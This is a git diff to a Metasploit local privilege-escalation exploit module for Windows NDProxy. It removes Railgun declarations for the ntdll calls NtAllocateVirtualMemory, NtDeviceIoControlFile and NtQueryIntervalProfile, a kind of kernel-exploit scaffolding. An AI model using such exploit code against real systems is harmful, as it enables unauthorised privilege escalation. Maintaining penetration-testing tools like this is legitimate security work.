diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb
index 0b9a32f593..1628c66f3d 100644
--- a/modules/exploits/windows/local/ms_ndproxy.rb
+++ b/modules/exploits/windows/local/ms_ndproxy.rb
@@ -87,44 +87,6 @@ class Metasploit3 < Msf::Exploit::Local
   end
 
   def add_railgun_functions
-    session.railgun.add_function(
-      'ntdll',
-      'NtAllocateVirtualMemory',
-      'DWORD',
-      [
-        ["DWORD", "ProcessHandle", "in"],
-        ["PBLOB", "BaseAddress", "inout"],
-        ["PDWORD", "ZeroBits", "in"],
-        ["PBLOB", "RegionSize", "inout"],
-        ["DWORD", "AllocationType", "in"],
-        ["DWORD", "Protect", "in"]
-      ])
-
-    session.railgun.add_function(
-      'ntdll',
-      'NtDeviceIoControlFile',
-      'DWORD',
-      [
-        [ "DWORD", "FileHandle", "in" ],
-        [ "DWORD", "Event", "in" ],
-        [ "DWORD", "ApcRoutine", "in" ],
-        [ "DWORD", "ApcContext", "in" ],
-        [ "PDWORD", "IoStatusBlock", "out" ],
-        [ "DWORD", "IoControlCode", "in" ],
-        [ "LPVOID", "InputBuffer", "in" ],
-        [ "DWORD", "InputBufferLength", "in" ],
-        [ "LPVOID", "OutputBuffer", "in" ],
-        [ "DWORD", "OutPutBufferLength", "in" ]
-      ])
-
-    session.railgun.add_function(
-      'ntdll',
-      'NtQueryIntervalProfile',
-      'DWORD',
-      [
-        [ "DWORD", "ProfileSource", "in" ],
-        [ "PDWORD", "Interval", "out" ]
-      ])
     session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
     session.railgun.add_function(
       'psapi',